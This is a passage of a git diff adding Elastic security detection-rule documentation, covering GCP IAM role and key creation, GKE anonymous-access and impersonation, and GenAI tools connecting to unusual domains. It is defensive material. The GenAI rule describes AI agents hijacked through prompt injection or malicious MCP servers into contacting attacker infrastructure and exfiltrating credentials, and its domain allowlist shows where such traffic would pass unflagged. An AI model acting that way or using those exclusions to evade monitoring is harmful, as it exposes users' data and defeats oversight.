/dev/shm/* or /tmp/* or /var/tmp/*) and +not ( + file.path:( + /var/tmp/dracut.* or /var/tmp/mkinitramfs_* or /tmp/.*-00000000.so or /run/udev/rules.d/* or + /tmp/new_root/* or /tmp/newroot/* or /run/user/*/.bubblewrap/newroot/* or /tmp/tmp.*/docker-scout_* or + /var/tmp/portage/* or /tmp/yarn--* or /run/k3s/containerd/* or /var/tmp/pamac-build-* or + /tmp/mkinitcpio* or /run/user/*/netns/netns-* or /tmp/apt-key* or /tmp/tmp.*/pubring.orig.gpg or + /tmp/CVU_19_* or /tmp/ut-backup-files.* or /tmp/tmp.*/terraform/* or + /run/initramfs/* or /run/samba/* or /run/qemu/* or /var/run/qemu/* or /run/containerd/* or + /var/run/sophos/* or /tmp/*sophos-tmpfs* or /tmp/*sophos_sensor* + ) or + file.extension:("json" or "txt" or "log" or "pid" or "conf" or "cnf" or "pem" or "lock" or "xml" or "bak" or "gz") or + process.executable:( + /tmp/par-* or /tmp/par_tmp.* or /tmp/snap.rootfs_* or /tmp/CVU_*/exectask or /tmp/.mount_*/usr/bin/QGroundControl or + ./snap/snapd/*/usr/lib/snapd/snap-update-ns or "./usr/lib/snapd/snap-update-ns" or + "/tmp/newroot/snap/snapd/current/usr/bin/snap" or /tmp/newroot/snap/snapd/*/usr/lib/snapd/snap-confine or + "./usr/bin/podman" or "/tmp/newroot/usr/lib/systemd/systemd" or + /tmp/pip-install-* or /tmp/pip-build-env-* or /tmp/*Actions*/* or /tmp/GridSetupActions*/* + ) or + process.name:("build-script-build" or "conftest" or "maturin") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: File and Directory Permissions Modification +** ID: T1222 +** Reference URL: https://attack.mitre.org/techniques/T1222/ +* Sub-technique: +** Name: Linux and Mac File and Directory Permissions Modification +** ID: T1222.002 +** Reference URL: https://attack.mitre.org/techniques/T1222/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gcp-iam-custom-role-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gcp-iam-custom-role-creation.asciidoc new file mode 100644 index 0000000000..43bab21f86 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gcp-iam-custom-role-creation.asciidoc @@ -0,0 +1,144 @@ +[[prebuilt-rule-8-19-28-gcp-iam-custom-role-creation]] +=== GCP IAM Custom Role Creation + +Identifies an Identity and Access Management (IAM) custom role creation in Google Cloud Platform (GCP). Custom roles are user-defined, and allow for the bundling of one or more supported permissions to meet specific needs. Custom roles will not be updated automatically and could lead to privilege creep if not carefully scrutinized. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/iam/docs/understanding-custom-roles + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP IAM Custom Role Creation* + + +Google Cloud Platform's IAM custom roles allow users to define specific permissions tailored to their needs, offering flexibility in access management. However, adversaries can exploit this by creating roles with excessive permissions, leading to privilege escalation. The detection rule monitors audit logs for successful custom role creation events, helping identify potential unauthorized access attempts by flagging unusual role configurations. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action:google.iam.admin.v*.CreateRole to identify the user or service account responsible for creating the custom role. +- Examine the permissions assigned to the newly created custom role to determine if they are excessive or deviate from standard role configurations. +- Check the event.outcome:success field to confirm the successful creation of the role and cross-reference with any recent changes in IAM policies or permissions. +- Investigate the context around the role creation, such as the time of creation and any associated IP addresses or locations, to identify any unusual patterns or anomalies. +- Assess the necessity and justification for the custom role by consulting with the relevant team or individual who requested its creation, ensuring it aligns with organizational policies and needs. + + +*False positive analysis* + + +- Routine administrative actions by authorized personnel can trigger alerts. Regularly review and document legitimate role creation activities to establish a baseline of expected behavior. +- Automated processes or scripts that create roles as part of deployment pipelines may cause false positives. Identify and whitelist these processes to prevent unnecessary alerts. +- Temporary roles created for short-term projects or testing purposes might be flagged. Implement a naming convention for such roles and exclude them from alerts based on this pattern. +- Changes in organizational structure or policy updates can lead to legitimate role creations. Ensure that these changes are communicated to the security team to adjust monitoring rules accordingly. +- Third-party integrations that require custom roles might be misidentified as threats. Maintain an inventory of these integrations and their role requirements to differentiate between legitimate and suspicious activities. + + +*Response and remediation* + + +- Immediately review the audit logs to confirm the creation of the custom role and identify the user or service account responsible for the action. +- Revoke the custom role if it is determined to have excessive permissions or if it was created without proper authorization. +- Conduct a thorough review of the permissions assigned to the custom role to ensure they align with the principle of least privilege. +- Notify the security team and relevant stakeholders about the unauthorized role creation for further investigation and potential escalation. +- Implement additional monitoring on the identified user or service account to detect any further suspicious activities. +- Review and update IAM policies to prevent unauthorized role creation, ensuring that only trusted users have the necessary permissions to create custom roles. +- Enhance detection capabilities by setting up alerts for any future custom role creation events, especially those with high-risk permissions. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:google.iam.admin.v*.CreateRole and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gcp-service-account-key-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gcp-service-account-key-creation.asciidoc new file mode 100644 index 0000000000..c36eee7c5f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gcp-service-account-key-creation.asciidoc @@ -0,0 +1,121 @@ +[[prebuilt-rule-8-19-28-gcp-service-account-key-creation]] +=== GCP Service Account Key Creation + +Identifies when a new key is created for a service account in Google Cloud Platform (GCP). A service account is a special type of account used by an application or a virtual machine (VM) instance, not a person. Applications use service accounts to make authorized API calls, authorized as either the service account itself, or as G Suite or Cloud Identity users through domain-wide delegation. If private keys are not tracked and managed properly, they can present a security risk. An adversary may create a new key for a service account in order to attempt to abuse the permissions assigned to that account and evade detection. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/iam/docs/service-accounts +* https://cloud.google.com/iam/docs/creating-managing-service-account-keys + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Service Account Key Creation* + + +In GCP, service accounts are crucial for applications to authenticate and interact with Google services securely. They use cryptographic keys for API access, which, if mismanaged, can be exploited by adversaries to gain unauthorized access. The detection rule monitors audit logs for new key creations, flagging potential misuse by identifying successful key generation events, thus helping to mitigate risks associated with unauthorized access. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action: google.iam.admin.v*.CreateServiceAccountKey to identify the service account involved in the key creation. +- Check the event.dataset:gcp.audit logs to determine the user or process that initiated the key creation and verify if it aligns with expected behavior or scheduled tasks. +- Investigate the permissions and roles assigned to the service account to assess the potential impact of the new key being used maliciously. +- Examine the event.outcome:success logs to confirm the successful creation of the key and cross-reference with any recent changes or deployments that might justify the key creation. +- Contact the owner or responsible team for the service account to verify if the key creation was authorized and necessary for their operations. +- Review any recent alerts or incidents related to the service account to identify patterns or repeated unauthorized activities. + + +*False positive analysis* + + +- Routine key rotations by automated processes can trigger alerts. To manage this, identify and whitelist these processes by their service account names or associated metadata. +- Development and testing environments often generate new keys frequently. Exclude these environments from alerts by using environment-specific tags or labels. +- Scheduled maintenance activities by cloud administrators may involve key creation. Document these activities and create exceptions based on the timing and user accounts involved. +- Third-party integrations that require periodic key updates can cause false positives. Maintain a list of trusted third-party services and exclude their key creation events from alerts. +- Internal tools or scripts that programmatically create keys for operational purposes should be reviewed and, if deemed safe, added to an exception list based on their execution context. + + +*Response and remediation* + + +- Immediately revoke the newly created service account key to prevent unauthorized access. This can be done through the GCP Console or using the gcloud command-line tool. +- Conduct a thorough review of the service account's permissions to ensure they are aligned with the principle of least privilege. Remove any unnecessary permissions that could be exploited. +- Investigate the source of the key creation event by reviewing audit logs to identify the user or process responsible for the action. Determine if the action was authorized or if it indicates a potential compromise. +- If unauthorized access is suspected, rotate all keys associated with the affected service account and any other potentially compromised accounts to mitigate further risk. +- Implement additional monitoring and alerting for unusual service account activities, such as unexpected key creations or permission changes, to enhance detection of similar threats in the future. +- Escalate the incident to the security team for further investigation and to determine if additional containment or remediation actions are necessary, including notifying affected stakeholders if a breach is confirmed. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and event.action:google.iam.admin.v*.CreateServiceAccountKey and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-genai-process-connection-to-unusual-domain.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-genai-process-connection-to-unusual-domain.asciidoc new file mode 100644 index 0000000000..87b816d064 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-genai-process-connection-to-unusual-domain.asciidoc @@ -0,0 +1,152 @@ +[[prebuilt-rule-8-19-28-genai-process-connection-to-unusual-domain]] +=== GenAI Process Connection to Unusual Domain + +Detects GenAI tools connecting to unusual domains on macOS. Adversaries may compromise GenAI tools through prompt injection, malicious MCP servers, or poisoned plugins to establish C2 channels or exfiltrate sensitive data to attacker-controlled infrastructure. AI agents with network access can be manipulated to beacon to external servers, download malicious payloads, or transmit harvested credentials and documents. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.network* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://atlas.mitre.org/techniques/AML.T0086 +* https://glama.ai/blog/2025-11-11-the-lethal-trifecta-securing-model-context-protocol-against-data-flow-attacks +* https://www.elastic.co/security-labs/elastic-advances-llm-security +* https://specterops.io/blog/2025/11/21/an-evening-with-claude-code + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Domain: LLM +* Mitre Atlas: T0086 + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GenAI Process Connection to Unusual Domain* + + +GenAI tools with network access can be weaponized to contact attacker infrastructure for C2, data exfiltration, or payload retrieval. Compromised MCP servers, malicious plugins, or prompt injection attacks can redirect AI agents to connect to arbitrary domains. While legitimate GenAI tools connect to vendor APIs and CDNs, connections to unusual domains may indicate exploitation. + + +*Possible investigation steps* + + +- Review the destination domain to determine if it's a legitimate GenAI service, CDN, package registry, or potentially malicious infrastructure. +- Investigate the GenAI process command line and configuration to identify what triggered the connection (plugin, MCP server, user prompt). +- Check if the domain was recently registered, uses a suspicious TLD, or has a low reputation score in threat intelligence feeds. +- Review the timing and context of the connection to determine if it correlates with user activity or was automated. +- Examine network traffic to and from the domain to identify the nature of the communication (API calls, file downloads, data exfiltration). +- Check for other hosts in the environment connecting to the same domain to determine if this is an isolated incident. +- Investigate whether the GenAI tool's configuration files were recently modified to add new MCP servers or plugins. +- Correlate with file events to see if the GenAI tool downloaded or created files around the same time as the connection. + + +*False positive analysis* + + +- GenAI tools may connect to new domains as vendors update their infrastructure, CDNs, or API endpoints. +- Package managers (npm, pip) used by MCP servers may connect to package registries for dependency resolution. +- Legitimate MCP servers and AI plugins connect to their respective backend services. +- Developer workflows testing new AI integrations or MCP servers will naturally trigger alerts for novel domain connections. + + +*Response and remediation* + + +- If the domain is confirmed malicious, block it at the network level and investigate the source of the compromise. +- Review the GenAI tool's configuration for unauthorized MCP servers, plugins, or extensions that initiated the connection. +- Investigate any data that may have been sent to the suspicious domain and assess the potential for data exfiltration. +- Review and rotate any API keys, tokens, or credentials used by the GenAI tool. +- Update detection rules to monitor the identified domain across all hosts in the environment. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:network and host.os.type:macos and event.action:connection_attempted and +( + process.name:( + Claude or "Claude Helper" or "Claude Helper (Plugin)" or Copilot or Cursor or + "Cursor Helper" or "Cursor Helper (Plugin)" or GPT4All or Jan or "Jan Helper" or + KoboldCpp or "LM Studio" or Ollama or Windsurf or "Windsurf Helper" or + "Windsurf Helper (Plugin)" or bunx or claude or codex or copilot or cursor or deno or + gemini-cli or genaiscript or gpt4all or grok or jan or koboldcpp or llama-cli or + llama-server or lmstudio or npx or ollama or pnpm or qwen or textgen or windsurf or yarn + ) +) and destination.domain:(* and not ( + aka.ms or anthropic.com or atlassian.com or cursor.com or cursor.sh or github.com or + gpt4all.io or hf.co or huggingface.co or lmstudio.ai or localhost or ollama.ai or + ollama.com or openai.com or *.aka.ms or *.akamaized.net or *.amazonaws.com or + *.amplitude.com or *.anthropic.com or *.atlassian.com or *.aws.amazon.com or + *.azure.com or *.cdn.cloudflare.net or *.cloudflare-dns.com or *.cloudflare.com or + *.cloudflarestorage.com or *.codeium.com or *.cursor.com or *.cursor.sh or + *datadoghq.com or *.elastic-cloud.com or *.elastic.co or *.exp-tas.com or + *.gemini.google.com or *.generativelanguage.googleapis.com or *.github.com or + *.githubcopilot.com or *.githubusercontent.com or *.gitkraken.com or *.gitkraken.dev or + *.google.com or *.googleapis.com or *.gpt4all.io or *.grok.x.ai or *.hf.co or + *.honeycomb.io or *.huggingface.co or *.intercom.io or *.jan.ai or *.launchdarkly.com or + *.lmstudio.ai or *.microsoft.com or *.mixpanel.com or *.msedge.net or *.npmjs.com or + *.npmjs.org or *.oaiusercontent.com or *.ollama.ai or *.ollama.com or *.openai.com or + *.pypi.org or *.r2.cloudflarestorage.com or *.schemastore.org or *.segment.io or + *.sentry.io or *.visualstudio.com or *.vsassets.io or *.vscode-cdn.net or + *.windsurf.ai or *.x.ai or *.yarnpkg.com or *.cartocdn.com or *.chatgpt.com or + *.claude.ai or *.claude.com or *.claudeusercontent.com or *.ggpht.com or *.gstatic.com or + *.googleusercontent.com or *.launchpadcontent.net or *.pythonhosted.org or + *.recaptcha.net or *.shields.io or *.snapcraftcontent.com or *.snapcraft.io or + *.stripe.com or *.travis-ci.com or *.travis-ci.org or *.ubuntu.com or *.ytimg.com or + *.github.io or *.githubassets.com or *.jsdelivr.net or *.nodesource.com or + *.asana.com or arxiv.org or chatgpt.com or claude.ai or claude.com or flagcdn.com or + gitlab.com or mcp.linear.app or mcp.notion.com or mcp.slack.com or + opencollective.com or pypi.org +)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-anonymous-endpoint-permission-enumeration.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-anonymous-endpoint-permission-enumeration.asciidoc new file mode 100644 index 0000000000..76b63130db --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-anonymous-endpoint-permission-enumeration.asciidoc @@ -0,0 +1,135 @@ +[[prebuilt-rule-8-19-28-gke-anonymous-endpoint-permission-enumeration]] +=== GKE Anonymous Endpoint Permission Enumeration + +Detects bursts of GKE API requests from an anonymous identity that probe many distinct actions and resources with mostly failed outcomes. This pattern is consistent with unauthenticated permission enumeration against an exposed API server. On GKE GCP audit logs, unauthenticated probes often omit "client.user.email" (null principal) with Unauthorized failures; those events are included alongside "system:anonymous" / "system:unauthenticated". + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://heilancoos.github.io/research/2025/12/16/kubernetes.html#unauthenticated-api-access +* https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Discovery +* Tactic: Reconnaissance +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Anonymous Endpoint Permission Enumeration* + + +Anonymous multi-endpoint failure bursts map which APIs are reachable before credential theft or exploitation. +Treat missing `client.user.email` with Unauthorized/failure bursts as anonymous on GKE. + + +*Investigation steps* + + +- Review `Esql.event_action_values` and `Esql.resource_name_values` for targeted APIs (secrets, RBAC, CRDs). +- Confirm whether `source.ip` is Internet-routable and whether the API endpoint is publicly exposed. +- Hunt for later successful anonymous or authenticated activity from the same source or user agent. + + +*False positives* + + +- Misconfigured auth proxies that strip credentials can make legitimate clients appear anonymous during outages. + + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +from logs-gcp.audit-* metadata _id, _index, _version +| where data_stream.dataset == "gcp.audit" + and service.name == "k8s.io" + and ( + client.user.email in ("system:anonymous", "system:unauthenticated") + or client.user.email is null + ) + and not gcp.audit.resource_name in ("readyz", "livez", "healthz", "version") +| stats + Esql.document_count = count(), + Esql.failure_count = sum(case(event.outcome == "failure", 1, 0)), + Esql.event_action_count_distinct = count_distinct(event.action), + Esql.resource_name_count_distinct = count_distinct(gcp.audit.resource_name), + Esql.event_action_values = values(event.action), + Esql.resource_name_values = values(gcp.audit.resource_name), + Esql.event_outcome_values = values(event.outcome), + Esql.client_user_email_values = values(client.user.email), + Esql.timestamp = VALUES(@timestamp), + Esql.data_stream_namespace = VALUES(data_stream.namespace), + Esql.user_agent_original_values = VALUES(user_agent.original) + by source.ip +| where Esql.event_action_count_distinct > 5 + and Esql.resource_name_count_distinct > 3 + and Esql.document_count < 50 + and Esql.failure_count >= 1 +| keep Esql.*, source.ip + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Container and Resource Discovery +** ID: T1613 +** Reference URL: https://attack.mitre.org/techniques/T1613/ +* Tactic: +** Name: Reconnaissance +** ID: TA0043 +** Reference URL: https://attack.mitre.org/tactics/TA0043/ +* Technique: +** Name: Active Scanning +** ID: T1595 +** Reference URL: https://attack.mitre.org/techniques/T1595/ +* Sub-technique: +** Name: Wordlist Scanning +** ID: T1595.003 +** Reference URL: https://attack.mitre.org/techniques/T1595/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-anonymous-pod-create-update-patch.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-anonymous-pod-create-update-patch.asciidoc new file mode 100644 index 0000000000..abe45f5381 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-anonymous-pod-create-update-patch.asciidoc @@ -0,0 +1,100 @@ +[[prebuilt-rule-8-19-28-gke-anonymous-pod-create-update-patch]] +=== GKE Anonymous Pod Create/Update/Patch + +Detects create, update, or patch of pods by an unauthenticated anonymous GKE identity. Anonymous pod mutation is a critical misconfiguration signal and a common path for unauthenticated attackers to deploy workloads or maintain access. Includes "system:anonymous" / "system:unauthenticated" and GKE audit rows with a missing principal (seen on unauthenticated Unauthorized/forbidden pod writes). + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/reference/access-authn-authz/authentication/#anonymous-requests +* https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Anonymous Pod Create/Update/Patch* + + +Anonymous identities creating or mutating pods indicates the API server accepts unauthenticated workload changes. +Failed unauthenticated creates may appear with an empty `client.user.email` and `Unauthorized` / forbidden status. + + +*Investigation steps* + + +- Review `client.user.email`, `event.action`, `event.outcome`, `orchestrator.resource.name`, `orchestrator.namespace`, + and `source.ip`. +- Inspect the pod image, command, and volume mounts for credential theft or reverse shells. +- Check whether anonymous authentication is enabled and remove RBAC grants to `system:anonymous`. + + +*False positives* + + +- Essentially none in production; treat as high-priority misconfiguration until proven otherwise. + + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:k8s.io and client.user.email:("system:anonymous" or "system:unauthenticated" or not *) and event.action:(io.k8s.core.v1.pods.create or io.k8s.core.v1.pods.patch or io.k8s.core.v1.pods.update) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Deploy Container +** ID: T1610 +** Reference URL: https://attack.mitre.org/techniques/T1610/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-anonymous-request-authorized-by-unusual-user-agent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-anonymous-request-authorized-by-unusual-user-agent.asciidoc new file mode 100644 index 0000000000..2c1bd548cc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-anonymous-request-authorized-by-unusual-user-agent.asciidoc @@ -0,0 +1,105 @@ +[[prebuilt-rule-8-19-28-gke-anonymous-request-authorized-by-unusual-user-agent]] +=== GKE Anonymous Request Authorized by Unusual User Agent + +Detects successful GKE API requests from unauthenticated anonymous identities using an unusual user agent. Attackers may rely on anonymous access for initial cluster access or to avoid attribution. Matches "system:anonymous" / "system:unauthenticated" and GKE audit rows where the principal is missing (common for unauthenticated clients). Common kube-probe health checks (readyz/livez/healthz/version) are excluded. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF +* https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE Anonymous Request Authorized by Unusual User Agent* + + +Anonymous success outside health endpoints can indicate a publicly reachable API server or overly permissive RBAC for +`system:anonymous` / `system:unauthenticated`. On GKE via GCP audit, some unauthenticated clients omit +`client.user.email`; those successes are included when the user agent is unusual. + + +*Investigation steps* + + +- Review `client.user.email`, `event.action`, `gcp.audit.resource_name`, `source.ip`, and `user_agent.original`. +- Confirm whether the API server is Internet-exposed and whether anonymous auth is intentionally enabled. +- Hunt for follow-on anonymous pod mutations, secret reads, or RBAC changes from the same source. + + +*False positives* + + +- Custom health or readiness endpoints not covered by the built-in exclusions; add environment-specific exceptions after review. + + + +==== Setup + + +The GCP Fleet integration with GKE audit logs enabled is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:gcp.audit and service.name:k8s.io and event.outcome:success and client.user.email:("system:anonymous" or "system:unauthenticated" or not *) and user_agent.original:(* and not (*kubernetes/$Format or kube-probe*)) and not gcp.audit.resource_name:(healthz or livez or readyz or version or .well-known*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Default Accounts +** ID: T1078.001 +** Reference URL: https://attack.mitre.org/techniques/T1078/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-api-request-impersonating-privileged-identity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-api-request-impersonating-privileged-identity.asciidoc new file mode 100644 index 0000000000..96180c8231 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-gke-api-request-impersonating-privileged-identity.asciidoc @@ -0,0 +1,135 @@ +[[prebuilt-rule-8-19-28-gke-api-request-impersonating-privileged-identity]] +=== GKE API Request Impersonating Privileged Identity + +Detects GKE API requests where a caller is impersonating a privileged cluster identity such as system:kube-controller-manager, system:admin, system:anonymous, or a kube-system service account. These identities have broad cluster-wide permissions including unrestricted access to secrets, the ability to create tokens for any service account, schedule pods on any node, and modify RBAC. Impersonating system:kube-controller-manager grants access to secrets across namespaces and service account token minting for lateral movement. + +*Rule type*: query + +*Rule indices*: + +* logs-gcp.audit-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation +* https://kubernetes.io/docs/reference/access-authn-authz/user-impersonation/ + +*Tags*: + +* Domain: Cloud +* Domain: Kubernetes +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GKE API Request 